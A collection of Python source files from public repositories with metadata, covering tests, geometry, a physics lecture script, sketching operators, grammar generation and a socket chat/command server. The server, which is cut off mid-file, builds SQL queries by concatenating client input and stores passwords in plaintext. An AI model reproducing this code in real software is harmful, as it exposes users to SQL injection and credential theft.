] | 26 | 2019-06-07T07:50:07.000Z | 2022-03-22T21:04:01.000Z | tests/integration/cmor/_fixes/cmip5/test_mri_esm1.py | markelg/ESMValCore | b2f7ffc3232f174dd5ebc50ad20b4a02d3517c2c | [
"Apache-2.0"
] | 1,370 | 2019-06-06T09:03:07.000Z | 2022-03-31T04:37:20.000Z | tests/integration/cmor/_fixes/cmip5/test_mri_esm1.py | zklaus/ESMValCore | 5656fb8b546eeb4d750a424de7ed56a237edfabb | [
"Apache-2.0"
] | 26 | 2019-07-03T13:08:48.000Z | 2022-03-02T16:08:47.000Z | """Test MRI-ESM1 fixes."""
import unittest
from esmvalcore.cmor.fix import Fix
from esmvalcore.cmor._fixes.cmip5.mri_esm1 import Msftmyz
class TestMsftmyz(unittest.TestCase):
"""Test msftmyz fixes."""
def test_get(self):
"""Test fix get"""
self.assertListEqual(
Fix.get_fixes('CMIP5', 'MRI-ESM1', 'Amon', 'msftmyz'),
[Msftmyz(None)])
| 25.666667 | 66 | 0.644156 | 47 | 385 | 5.191489 | 0.446809 | 0.086066 | 0.147541 | 0.139344 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.016393 | 0.207792 | 385 | 14 | 67 | 27.5 | 0.783607 | 0.137662 | 0 | 0 | 0 | 0 | 0.075949 | 0 | 0 | 0 | 0 | 0 | 0.125 | 1 | 0.125 | false | 0 | 0.375 | 0 | 0.625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
c00b68f7691de8165e6377392f6683fc139d5880 | 580 | py | Python | cutadapt/__init__.py | frederic-mahe/cutadapt | 81386f48c5491aeb3d3f97a73c8de2e5d1cdb37c | [
"MIT"
] | 1 | 2018-12-12T10:32:53.000Z | 2018-12-12T10:32:53.000Z | cutadapt/__init__.py | kdmurray91/cutadapt | 49ae2c161052186caff3c39fc511f3df4dd91aa6 | [
"MIT"
] | null | null | null | cutadapt/__init__.py | kdmurray91/cutadapt | 49ae2c161052186caff3c39fc511f3df4dd91aa6 | [
"MIT"
] | null | null | null | from __future__ import print_function
import sys
__version__ = '1.7dev'
def check_importability(): # pragma: no cover
try:
import cutadapt._align
except ImportError as e:
if 'undefined symbol' in str(e):
print("""
ERROR: A required extension module could not be imported because it is
incompatible with your system. A quick fix is to recompile the extension
modules with the following command:
{} setup.py build_ext -i
See the documentation for alternative ways of installing the program.
The original error message follows.
""".format(sys.executable))
raise
| 25.217391 | 72 | 0.763793 | 84 | 580 | 5.130952 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004158 | 0.17069 | 580 | 22 | 73 | 26.363636 | 0.891892 | 0.027586 | 0 | 0 | 0 | 0 | 0.606762 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.058824 | false | 0 | 0.352941 | 0 | 0.411765 | 0.117647 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
c00fbf55f122805ce5a8f77986a14f706a9d663d | 2,879 | py | Python | orb_catching_game/utilities/geometry.py | jrvhulle/orb-catching-game | 8a3e9f35ece257dbfe969c19b056332017798517 | [
"MIT"
] | null | null | null | orb_catching_game/utilities/geometry.py | jrvhulle/orb-catching-game | 8a3e9f35ece257dbfe969c19b056332017798517 | [
"MIT"
] | null | null | null | orb_catching_game/utilities/geometry.py | jrvhulle/orb-catching-game | 8a3e9f35ece257dbfe969c19b056332017798517 | [
"MIT"
] | null | null | null | from typing import Tuple
import numpy as np
import math
class Point2D:
def __init__(self, x_init, y_init):
self.x = x_init
self.y = y_init
def as_tuple(self):
return self.x, self.y
def as_int_tuple(self):
return int(self.x), int(self.y)
def shift(self, x, y):
self.x += x
self.y += y
def __repr__(self):
return "".join(["Point(", str(self.x), ",", str(self.y), ")"])
def distance_from(self, other_point: 'Point2D') -> float:
return math.sqrt((self.x - other_point.x) ** 2 + (self.y - other_point.y) ** 2)
def closest_point_in_list(self, *points: Tuple['Point2D']):
distances = [self.distance_from(point) for point in points]
idx = np.argmin(distances)
return points[idx], idx
def __json_encode__(self):
return self.__dict__
def __json_decode__(self, **attrs):
self.x = attrs['x']
self.y = attrs['y']
class Rectangle:
def __init__(self, upper_left: Point2D, bottom_right: Point2D) -> None:
self.upper_left = upper_left
self.bottom_right = bottom_right
self.height = bottom_right.y - upper_left.y
self.width = bottom_right.x - upper_left.x
def surface(self) -> float:
return self.height * self.width
def center(self):
return Point2D(self.upper_left.x + self.width / 2.0, self.upper_left.y + self.height / 2.0)
def contains(self, point: Point2D):
return self.upper_left.x < point.x < self.bottom_right.x and self.upper_left.y < point.y < self.bottom_right.y
def distance_from_point(self, point: Point2D):
# You can clamp to the nearest point in the rectangle, and find the distance to that point.
# The nearest point on the rectangle is given by
nearest_point_in_rect = Point2D(point.x, point.y)
if point.x < self.upper_left.x:
nearest_point_in_rect.x = self.upper_left.x
elif point.x > self.bottom_right.x:
nearest_point_in_rect.x = self.bottom_right.x
if point.y < self.upper_left.y:
nearest_point_in_rect.y = self.upper_left.y
elif point.y > self.bottom_right.y:
nearest_point_in_rect.y = self.bottom_right.y
return nearest_point_in_rect.distance_from(point)
def __json_encode__(self):
return self.__dict__
def __json_decode__(self, attrs):
self.upper_left = attrs['upper_left']
self.bottom_right = attrs['bottom_right']
self.width = attrs['width']
self.height = attrs['height']
@classmethod
def from_center_and_dimension(cls, center: Point2D, width, height):
upper_left = Point2D(center.x - width / 2.0, center.y - height / 2.0)
bottom_right = Point2D(center.x + width / 2.0, center.y + height / 2.0)
return cls(upper_left, bottom_right)
| 32.715909 | 118 | 0.635985 | 424 | 2,879 | 4.056604 | 0.167453 | 0.088953 | 0.08314 | 0.062791 | 0.283721 | 0.213953 | 0.163953 | 0.10814 | 0.10814 | 0.10814 | 0 | 0.012043 | 0.250087 | 2,879 | 87 | 119 | 33.091954 | 0.784623 | 0.047586 | 0 | 0.064516 | 0 | 0 | 0.020811 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.274194 | false | 0 | 0.048387 | 0.145161 | 0.548387 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 2 |
c020d8fe676c63eeb3353651c16c66ac661a8ef2 | 5,649 | py | Python | LPES-video/08.01-podstawy/08.01.02-prawa.py | opcode-eu-org-website/LPES-wyklady-src | dd4d413f2bb5560790b6365fa7e68e8f1a8a65b0 | [
"MIT"
] | null | null | null | LPES-video/08.01-podstawy/08.01.02-prawa.py | opcode-eu-org-website/LPES-wyklady-src | dd4d413f2bb5560790b6365fa7e68e8f1a8a65b0 | [
"MIT"
] | null | null | null | LPES-video/08.01-podstawy/08.01.02-prawa.py | opcode-eu-org-website/LPES-wyklady-src | dd4d413f2bb5560790b6365fa7e68e8f1a8a65b0 | [
"MIT"
] | 1 | 2021-07-03T16:43:47.000Z | 2021-07-03T16:43:47.000Z | # Copyright (c) 2020-2021 Matematyka dla Ciekawych Świata (http://ciekawi.icm.edu.pl/)
# Copyright (c) 2020-2021 Robert Ryszard Paciorek <rrp@opcode.eu.org>
#
# MIT License
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
try: clipData
except NameError: clipData = []
clipData += [
{ 'comment': 'podstawy elektroniki - Prawo Ohma, Praw Kirchhoffa' },
{
'image': [
[0.0, eduMovie.convertFile('prawoOhma.tex', margins=12, viaCairo=True, negate=True)],
],
'text' : [
'Na ekranie mamy wyświetloną zależność nazywaną prawem Ohma, <m> którą powinniście kojarzyć z zajęć fizyki w szkole. <m>'
'Zachodzi ona dla elementów liniowych, czyli na przykład <m> (w dobrym przybliżeniu) dla zwykłego kawałka drutu. <m>'
'Polega ona na proporcjonalności natężenia płynącego prądu <m> do napięcia pomiędzy końcami takiego przewodnika. <m>'
'Im większe napięcie tym większy prąd będzie płynął, <m> im bardziej oporny przewodnik przy danym napięciu <m> tym mniejszy prąd popłynie i tak dalej. <m>'
'Ten stosunek napięcia i prądu nazywany jest właśnie <m> oporem elektrycznym i oznaczany symbolem R. <m>'
'Prawo Ohma jest jednak bardziej regułą empiryczną, <m> niż takim prawdziwym prawem przyrody <m>'
'(jak na przykład prawo zachowania energii czy też inne prawa <m> związane z elektrycznością o których będziemy jeszcze mówili). <m>'
'Prawo Ohma stosuje się wyłącznie do pewnej grupy <m> materiałów i w pewnym zakresie warunków. <m>'
'Nawet zwykła, klasyczna żarówka również po części łamie prawo Ohma, <m>'
'ponieważ opór w momencie kiedy żarnik jest nie rozgrzany ma <m> zupełnie inną wartość niż po jego rozgrzaniu (zmienia się on <m> bardzo szybko w momencie podłączenia do żarówki odpowiedniego napięcia). <m>'
'Opór wielu materiałów zależy od ich temperatury i moglibyśmy <m> dodać uzupełnienie na ten temat do prawa Ohma, <m> natomiast to niczego nie rozwiązuje. <m>'
'Mamy także elementy których opór zależy od przyłożonego napięcia, <m> albo elementy które niezależnie od prądu jaki przez nie płynie <m> charakteryzują się praktycznie stałym spadkiem napięcia. <m>'
'Mimo tych ograniczeń prawo Ohma pozostaje bardzo przydatne. <m>'
]
},
{
'image': [
[0.0, eduMovie.convertFile("Kirchhoff_1.sch", negate=True)],
["kirchhoff2", eduMovie.convertFile("Kirchhoff_2.sch", negate=True)],
["kirchhoff_szeregowe", eduMovie.convertFile("Kirchhoff_szeregowe.sch", negate=True)]
],
'text' : [
"Kolejnymi prawami które się przydają i na dodatek są dość <fundamentalnymi>[fundament'alnymi] <m> prawami przyrody są prawa Kirchhoffa. <m>"
"Są także dosyć intuicyjne. <m>"
'Pierwsze prawo Kirchhoffa mówi że jeżeli mamy węzeł, czyli np. punkt połączenia <m> kilku przewodów, to suma prądów do niego wpływających jest równa <m> sumie prądów wypływających <–>[.] prąd nie bierze się znikąd i nie znika. <m>'
'Jeżeli wiemy, że prąd to przepływ ładunku, to prawo to powinno wydawać się <m> dość oczywiste - węzeł nie jest w stanie wytwarzać ani pochłaniać ładunków, <m> zatem to co do niego wpływa musi być tym co z niego wypływa. <m>'
'W rzeczywistości możemy spotkać się z jakimiś zjawiskami pasożytniczymi w węźle, <m> pozwalającymi na gromadzenie się tam jakiegoś niewielkiego zapasu ładunku, <m>'
'ale na ogół jest on tak niewielki że nie zmienia nam działania tego prawa. <m> Tym bardziej w stanie ustalonym gdzie już np. zgromadził się w maksymalnej ilości. <m>'
'Jednak jeżeli zjawiska te byłyby istotne, dla naszej analizy, to należałoby <m> zaznaczyć je jako odpowiednie elementy dołączone do idealnego węzła. <mark name="kirchhoff2" />'
'Drugie prawo Kirchhoffa mówi że jeżeli przejdziemy po dowolnej pętli w układzie <m> to suma spadków i wzrostów napięć <m> (z uwzględnieniem znaków) musi być równa zero. <m>'
'Jako że napięcia to są różnice potencjałów, <m> to przechodząc po takiej pętli suma napięć musi być równa zero, <m>'
'aby potencjał w punkcie A z którego wychodzimy, <m> był równy potencjałowi w tym samym punkcie A do którego dochodzimy <m> – również wydaje się dość oczywiste. <m>'
'Najtrudniejsze w stosowaniu praw Kirchhoffa jest pamiętanie o <m> znakach napięcia na poszczególnych elementach, <m> czy też kierunku prądu wpływającego, wypływającego z węzła. <m>'
'Zwłaszcza w bardziej skomplikowanych obwodach. <mark name="kirchhoff_szeregowe" />'
'Warto zauważyć że z praw Kirchhoffa <m> (oraz charakterystyki danego elementu, wynikającej np. z prawa Ohma) <m>'
'wynikają reguły dotyczące obliczeń dla <m> połączeń równoległych i szeregowych różnych elementów (np. oporników). <m>'
]
},
]
| 70.6125 | 235 | 0.75146 | 808 | 5,649 | 5.25 | 0.543317 | 0.020745 | 0.019802 | 0.008487 | 0.033003 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005557 | 0.171712 | 5,649 | 79 | 236 | 71.506329 | 0.90062 | 0.21048 | 0 | 0.125 | 0 | 0.4375 | 0.869056 | 0.018932 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
c0218cff9ef5358d1f77627e13b84b7671f252b7 | 2,236 | py | Python | parla/comps/sketchers/oblivious.py | rileyjmurray/parla | b1f638cb60913c98c75fd721ca002521344fc3cf | [
"BSD-3-Clause"
] | 6 | 2021-12-07T16:52:26.000Z | 2022-03-10T15:35:02.000Z | parla/comps/sketchers/oblivious.py | rileyjmurray/parla | b1f638cb60913c98c75fd721ca002521344fc3cf | [
"BSD-3-Clause"
] | 1 | 2022-01-12T20:30:38.000Z | 2022-01-12T23:04:34.000Z | parla/comps/sketchers/oblivious.py | rileyjmurray/parla | b1f638cb60913c98c75fd721ca002521344fc3cf | [
"BSD-3-Clause"
] | 2 | 2021-10-04T05:26:07.000Z | 2021-10-14T18:00:33.000Z | """
Data-oblivious sketching methods.
Provide an OO interface around existing procedural implementations.
Names of implementation classes take the form "SkOp[XY]", where
XY = ON: orthonormal
XY = GA: Gaussian
X = S: sparse (need a sparse matrix data structure)
Y = J: sparse Johnson-Lindenstrauss
Y = S: sparse sign operator
Later, might do Y = L for LESS.
X = T: trig transform
Y = C: discrete cosine transform
Later, might do Y = W for Walsh-Hadamard
XY = IN: index into rows or columns
"""
import parla.utils.sketching as usk
class SketchOpGen:
def __call__(self, n_rows, n_cols, rng):
raise NotImplementedError()
class SkOpON(SketchOpGen):
"""Generate an orthonormal sketching operator."""
def __call__(self, n_rows, n_cols, rng):
return usk.orthonormal_operator(n_rows, n_cols, rng)
class SkOpGA(SketchOpGen):
"""Generate a Gaussian sketching operator."""
def __init__(self, normalize=True):
self.normalize = normalize
def __call__(self, n_rows, n_cols, rng):
return usk.gaussian_operator(n_rows, n_cols, rng, self.normalize)
class SkOpSJ(SketchOpGen):
"""Generate a sparse sketching operator, based on SJLT."""
def __init__(self, vec_nnz=8):
self.vec_nnz = vec_nnz
def __call__(self, n_rows, n_cols, rng):
return usk.sjlt_operator(n_rows, n_cols, rng, self.vec_nnz)
class SkOpSS(SketchOpGen):
"""Generate a sparse-sign sketching operator."""
def __init__(self, density=0.05):
self.density = density
def __call__(self, n_rows, n_cols, rng):
usk.sparse_sign_operator(n_rows, n_cols, rng, self.density)
class SkOpTC(SketchOpGen):
"""Generate an SRTT sketching operator, based on the DCT-II."""
def __call__(self, n_rows, n_cols, rng):
return usk.srct_operator(n_rows, n_cols, rng)
class SkOpIN(SketchOpGen):
"""Generate a sketching operator which indexes into rows or columns."""
def __init__(self, indices=None):
self.indices = indices
def __call__(self, n_rows, n_cols, rng):
return usk.sampling_operator(n_rows, n_cols, rng, self.indices)
| 26.939759 | 75 | 0.668157 | 305 | 2,236 | 4.632787 | 0.337705 | 0.046001 | 0.055202 | 0.092003 | 0.297948 | 0.258316 | 0.258316 | 0.150743 | 0.116773 | 0.116773 | 0 | 0.002338 | 0.234794 | 2,236 | 82 | 76 | 27.268293 | 0.823495 | 0.40161 | 0 | 0.233333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.366667 | false | 0 | 0.033333 | 0.166667 | 0.8 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 2 |
c026ee6b01dc27579ab3dfb9b88acc97f0bbd27f | 1,480 | py | Python | utils/components.py | matthewvanderson/MagicBot | fd17be01e1c19d7632f6b212c8efd46a786cc673 | [
"MIT"
] | 1 | 2022-03-20T01:18:43.000Z | 2022-03-20T01:18:43.000Z | utils/components.py | matthewvanderson/MagicBot | fd17be01e1c19d7632f6b212c8efd46a786cc673 | [
"MIT"
] | 16 | 2022-02-01T06:06:00.000Z | 2022-02-01T06:21:40.000Z | utils/components.py | matthewvanderson/MagicBot | fd17be01e1c19d7632f6b212c8efd46a786cc673 | [
"MIT"
] | null | null | null | import disnake
def create_components(current_page, embeds, print=False):
length = len(embeds)
if length == 1:
return []
if not print:
page_buttons = [
disnake.ui.Button(label="", emoji="◀️", style=disnake.ButtonStyle.grey, disabled=(current_page == 0),
custom_id="Previous"),
disnake.ui.Button(label=f"Page {current_page + 1}/{length}", style=disnake.ButtonStyle.grey,
disabled=True),
disnake.ui.Button(label="", emoji="▶️", style=disnake.ButtonStyle.grey,
disabled=(current_page == length - 1), custom_id="Next")
]
else:
page_buttons = [
disnake.ui.Button(label="", emoji="◀️", style=disnake.ButtonStyle.grey, disabled=(current_page == 0),
custom_id="Previous"),
disnake.ui.Button(label=f"Page {current_page + 1}/{length}", style=disnake.ButtonStyle.grey,
disabled=True),
disnake.ui.Button(label="", emoji="▶️", style=disnake.ButtonStyle.grey,
disabled=(current_page == length - 1), custom_id="Next"),
disnake.ui.Button(label="", emoji="🖨️", style=disnake.ButtonStyle.grey,
custom_id="Print")
]
buttons = disnake.ui.ActionRow()
for button in page_buttons:
buttons.append_item(button)
return [buttons]
| 43.529412 | 113 | 0.547297 | 155 | 1,480 | 5.180645 | 0.264516 | 0.089664 | 0.13076 | 0.174346 | 0.716065 | 0.684932 | 0.684932 | 0.684932 | 0.684932 | 0.684932 | 0 | 0.006883 | 0.312838 | 1,480 | 33 | 114 | 44.848485 | 0.772861 | 0 | 0 | 0.413793 | 0 | 0 | 0.069595 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.034483 | false | 0 | 0.034483 | 0 | 0.137931 | 0.068966 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
c027973760fd3ae4366aaf0301f5e20fdcc07031 | 319 | py | Python | Street View housing dataset/util_AB.py | azeembootwala/Deep-Learning-Projects | 4748e4f9e2eafb62aff39c018d5f7fcbd0e1cc5c | [
"MIT"
] | null | null | null | Street View housing dataset/util_AB.py | azeembootwala/Deep-Learning-Projects | 4748e4f9e2eafb62aff39c018d5f7fcbd0e1cc5c | [
"MIT"
] | null | null | null | Street View housing dataset/util_AB.py | azeembootwala/Deep-Learning-Projects | 4748e4f9e2eafb62aff39c018d5f7fcbd0e1cc5c | [
"MIT"
] | null | null | null | from scipy.io import loadmat
#Please change the path from where your file can be loaded , the dataset is not in this repository
# You can download the dataset from Kaggle
def getdata():
train = loadmat("../large_files/train_32x32.mat")
test = loadmat("../large_files/test_32x32.mat")
return train,test
| 31.9 | 99 | 0.730408 | 49 | 319 | 4.673469 | 0.673469 | 0.087336 | 0.148472 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.030651 | 0.181818 | 319 | 9 | 100 | 35.444444 | 0.846743 | 0.435737 | 0 | 0 | 0 | 0 | 0.335227 | 0.335227 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.2 | 0 | 0.6 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
c02999af5fc5a855aefe6d537c59952356098124 | 1,892 | py | Python | reberbad.py | irhum31/LSTM-Embedded-Reber-Grammar-Detector | 538d451a827e69b0f33c90f720150b4edd7e658b | [
"MIT"
] | 1 | 2021-11-01T17:34:55.000Z | 2021-11-01T17:34:55.000Z | reberbad.py | irhum/LSTM-Embedded-Reber-Grammar-Detector | 538d451a827e69b0f33c90f720150b4edd7e658b | [
"MIT"
] | null | null | null | reberbad.py | irhum/LSTM-Embedded-Reber-Grammar-Detector | 538d451a827e69b0f33c90f720150b4edd7e658b | [
"MIT"
] | 1 | 2019-05-31T15:45:42.000Z | 2019-05-31T15:45:42.000Z | """Helper functions that generate a single string looking
identical to, but not following Embedded Reber Grammar"""
import random
# Returns the non-embedded, internal string
def reber_prime_bad():
string = "B"
luck = random.random()
if luck < 0.5:
string = reber_phase_a_bad(string)
luck = random.random()
if luck < 0.5:
string += "T"
string = reber_phase_b_bad(string)
else:
string += "SE"
else:
string += "P"
string = reber_phase_b_bad(string)
return string
# Returns a portion of the string corresponding to the top half of the graph
def reber_phase_a_bad(string):
string += "X"
luck = random.random()
while luck < 0.5:
string += "S"
luck = random.random()
string += "P"
return string
# Returns a portion of the string corresponding to the bottom half of the graph
def reber_phase_b_bad(string):
string += "T"
luck = random.random()
while luck < 0.5:
string += "T"
luck = random.random()
string += "V"
luck = random.random()
if luck < 0.5:
string += "PE"
luck = random.random()
if luck < 0.5:
string += "X"
string = reber_phase_b_bad(string)
else:
string += "SE"
else:
string += "VE"
return string
# Returns a complete, false embedded reber grammar string
def embedded_reber_bad():
string = "B"
luck = random.random()
if luck < 0.5:
string += "P"
string += reber_prime_bad()
luck = random.random()
if luck < 0.5:
string += "PE"
else:
string += "TE"
else:
string += "T"
string += reber_prime_bad()
if luck < 0.5:
string += "TE"
else:
string += "PE"
return string | 21.258427 | 79 | 0.544397 | 235 | 1,892 | 4.27234 | 0.221277 | 0.099602 | 0.159363 | 0.10757 | 0.634462 | 0.555777 | 0.52988 | 0.476096 | 0.350598 | 0.286853 | 0 | 0.01461 | 0.348837 | 1,892 | 89 | 80 | 21.258427 | 0.800325 | 0.190803 | 0 | 0.854839 | 1 | 0 | 0.019079 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.064516 | false | 0 | 0.016129 | 0 | 0.145161 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
c03b2920fbec99d6205e8ade87773bd176c400b8 | 20,732 | py | Python | Server/serv.py | qxZap/Coliw | 1a4a8319c36f1cbc5f8733b0df5ae5587d64d079 | [
"MIT"
] | null | null | null | Server/serv.py | qxZap/Coliw | 1a4a8319c36f1cbc5f8733b0df5ae5587d64d079 | [
"MIT"
] | null | null | null | Server/serv.py | qxZap/Coliw | 1a4a8319c36f1cbc5f8733b0df5ae5587d64d079 | [
"MIT"
] | null | null | null | import socket
import sys
from thread import start_new_thread
from InstagramAPI import InstagramAPI
import subprocess
import flickrapi
import requests
import MySQLdb
import urllib2
def getIDbyUsername(uname):
target_link="http://instagram.com/"+uname+"/"
response=urllib2.urlopen(target_link)
page_source=response.read()
string_start=page_source.find("profilePage_")+12
returnID=page_source[string_start:string_start+10]
if returnID[len(returnID)-1]=='"':
returnID=page_source[string_start:string_start+9]
return returnID
HOST = ''
PORT = 6636
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error, msg:
print("Could not create socket. Error Code: ", str(msg[0]), "Error: ", msg[1])
sys.exit(0)
print("[+] Socket Created")
try:
s.bind((HOST, PORT))
print("[-] Socket Bound to port " + str(PORT))
except socket.error, msg:
print("Bind Failed. Error Code: {} Error: {}".format(str(msg[0]), msg[1]))
sys.exit()
s.listen(10)
print("[!] Listening...")
def client_thread(conn,addr):
loggedIn = False
loggedInIG = False
userInstagram= None
username=None
while True:
try:
data = conn.recv(1024)
except Exception as disconnected:
print("[-] Disconnected "+addr[0]+":"+str(addr[1]))
q=disconnected
break
if not data:
break
arguments = data.split(" ")
if arguments[0]=='--help' or arguments[0]=='-h':
to_send="CoLiW\n\nCommands:\n\tlogin\n\tlogout\n\tregister\n\tweb module\n\thistory"
elif arguments[0] == "login":
if loggedIn==True:
to_send="You are already logged in"
else:
if len(arguments)<3:
to_send="Too few arguments!\nSyntax: login <username> <password>"
elif len(arguments)>3:
to_send="Too many arguments!\nSyntax: login <username> <password>"
else:
db = MySQLdb.connect(host="localhost", user="root", passwd="", db="aplicatiebd")
cur = db.cursor()
stringalau="SELECT password FROM USERS WHERE username ='"+arguments[1]+"'"
cur.execute(stringalau)
if arguments[2]==cur.fetchall()[0][0]:
loggedIn=True
username=arguments[1]
to_send="Login sucessfull"
else:
to_send="Wrong creditals"
#flag = subprocess.check_output([sys.executable, "login.py", arguments[1], arguments[2]])
#if flag == '1\n':
# to_send = "Login sucessfull"
# loggedIn = True
#else:
# to_send = "Error with login creditals. Check again your user/password"
elif arguments[0]=='history':
if loggedIn:
if len(arguments)==2:
if arguments[1]=='-h':
to_send="Hystory\nBasicly, it prints command history of the user\n\n\t-h prints this message\n\t-o prints output also (rather not)\n\t-c clears the history"
elif arguments[1]=='-o':
db = MySQLdb.connect(host="localhost", user="root", passwd="", db="aplicatiebd")
cur=db.cursor()
stringalau="SELECT command,output from history where username='"+username+"'"
cur.execute(stringalau)
output=cur.fetchall()
sortedOutput=list(set(output))
to_send=""
for i in sortedOutput:
to_send=to_send+i[0]+"\t\t"+i[1]+"\n"
elif arguments[1]=='-c':
flag=subprocess.check_output( [sys.executable, "clearHistory.py", username])
to_send="History cleared"
else:
to_send="Expected -o -h or -c and recieved"+arguments[1]
elif len(arguments)==1:
db = MySQLdb.connect(host="localhost", user="root", passwd="", db="aplicatiebd")
cur=db.cursor()
stringalau="SELECT command from history where username='"+username+"'"
cur.execute(stringalau)
output=cur.fetchall()
sortedOutput=list(set(output))
to_send=""
for i in sortedOutput:
to_send=to_send+i[0]+"\n"
else:
to_send="Wrong syntax\nType in 'history -h' for more info"
else:
to_send="You cannot use this command if you`re not logged in"
elif arguments[0] == "register":
if loggedIn==True:
to_send="You cannot register while you are logged in already"
else:
if len(arguments)<4:
to_send="Too few arguments!\nSyntax: register <username> <password> <email>"
elif len(arguments)>4:
to_send="Too many arguments!\nSyntax: register <username> <password> <email>"
else:
db = MySQLdb.connect(host="localhost", user="root", passwd="", db="aplicatiebd")
cur = db.cursor()
stringalau="SELECT id FROM USERS WHERE username ='"+arguments[1]+"'"
cur.execute(stringalau)
if len(cur.fetchall())>0:
to_send="There is already someone called "+arguments[1]
else:
stringalau="INSERT INTO users(username,password,email) VALUES('"+arguments[1]+"','"+arguments[2]+"','"+arguments[3]+"');"
cur.execute(stringalau)
db.commit()
to_send="You`ve been registred and now you`re logged in"
loggedIn=True
username=arguments[1]
elif arguments[0]=='logout':
to_send="Logged out"
loggedIn=False
#flag = subprocess.check_output([sys.executable, "register.py", arguments[1], arguments[2], arguments[3]])
#if flag == "True\n":
# to_send = "You have been registered!"
#else:
# to_send = "There is someone called " + arguments[1]
elif arguments[0]=="web":
if loggedIn==False:
to_send="You have to be logged in to use web module."
else:
if len(arguments)>1:
if arguments[1]=='-h':
to_send="CoLiW Web Module\n\tinstagram API\n\tflickr API"
elif arguments[1]=="instagram":
if len(arguments)==2:
to_send="Invalid syntax.\nType in web instagram -h"
else:
#web instagram login username passwd
if arguments[2]=="login":
if len(arguments)>5:
to_send="Too many arguments\nSyntax: web instagram login <username> <password>"
elif len(arguments)<5:
to_send="Too few arguments\nSyntax: web instagram login <username> <password>"
else:
userInstagram=InstagramAPI(arguments[3],arguments[4])
if(userInstagram.login()):
to_send="You`ve logged in through Instagram. Now you can use it as you desire"
loggedInIG = True
else:
to_send="Wrong username/password. try again after you check them again"
elif arguments[2]=='logout':
if loggedInIG:
loggedInIG=False
userInstagram=None
to_send="Logged out"
else:
to_send="You cannot log out if you`re not logged in"
elif arguments[2]=="follow":
if loggedInIG == True :
#returnID = subprocess.check_output( [sys.executable, "getIDbyUsername.py", arguments[3]])
returnID=getIDbyUsername(arguments[3])
if returnID[len(returnID)-1]=='"':
returnID=returnID[:-1]
userInstagram.follow(returnID)
